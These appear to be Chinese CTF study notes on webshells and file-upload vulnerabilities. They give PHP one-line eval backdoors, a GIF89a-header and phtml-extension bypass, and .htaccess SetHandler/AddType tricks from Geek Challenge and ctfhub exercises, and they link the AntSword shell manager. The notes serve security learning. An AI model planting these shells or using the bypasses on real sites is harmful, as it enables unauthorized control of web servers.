Webshell
什么是Webshell?
Webshell就是asp、php、jsp等网页文件形式存在的一种**代码/命令执行环境**,也可以称为一种网页后门,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。
黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器的WEB目录下的正常网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
get.php
?cmd=phpinfo();
执行系统命令 system('ipconfig');
post.php
cmd=phpinfo();
cmd=system('ipconfig');
BP发post
GET ->POST
加Content-Type: application/x-www-form-urlencoded
加POST语句
优点
Webshell最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。
并且使用Webshell一般不会在系统日志中留下记录,只会在网站的Web日志(apache的access.log)中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。
一句话木马
一句话木马,又称小马、网马、后门
即利用简单少量代码实现命令执行、文件管理等目的
植入方式
以文件的形式上传到服务器端
文件上传漏洞
在文件上传的功能处,若服务端未对上传的文件进行严格验证和过滤,导致攻击者上传
恶意的脚本文件时,就有可能获取执行服务端命令的能力,称为文件上传漏洞
文件上传漏洞对Web应用来说是一种非常严重的漏洞
漏洞点:
图片,头像上传,附件上传
成功的前提
网站有文件上传功能
文件类型能上传
知道上传的路径
上传的文件可以被执行或被包含
蚁剑
项目地址:
https://github.com/AntSwordProject/antSword
加载器:
https://github.com/AntSwordProject/AntSword-Loader
例题
极客大挑战 upload
先上传shell,返回Not image,再改后缀上传,发现检测到了 <? ,说明后端有检测,用GIF头绕过绕过,将内容改成
GIF89a
<script language="php">eval($_POST['cmd']);</script>
上传时用burp改后缀为phtml
( php,php3,php4,php5,phtml,pht )
ctfhub .htaccess
.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
简单来说,就是我上传了一个.htaccess文件到服务器,那么服务器之后就会将特定格式的文件以php格式解析。
这里先写一个.htaaccess文件
方法一
SetHandler application/x-httpd-php //所有的文件当做php文件来解析
方法二
AddType application/x-httpd-php .png //.png文件当作php文件解析
1、上传一个.htaccess
FileMatch 参数即为文件名的正则匹配
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
2、再传一个名为1.png
<?php @eval($_POST['cmd']);?>
看一眼content-type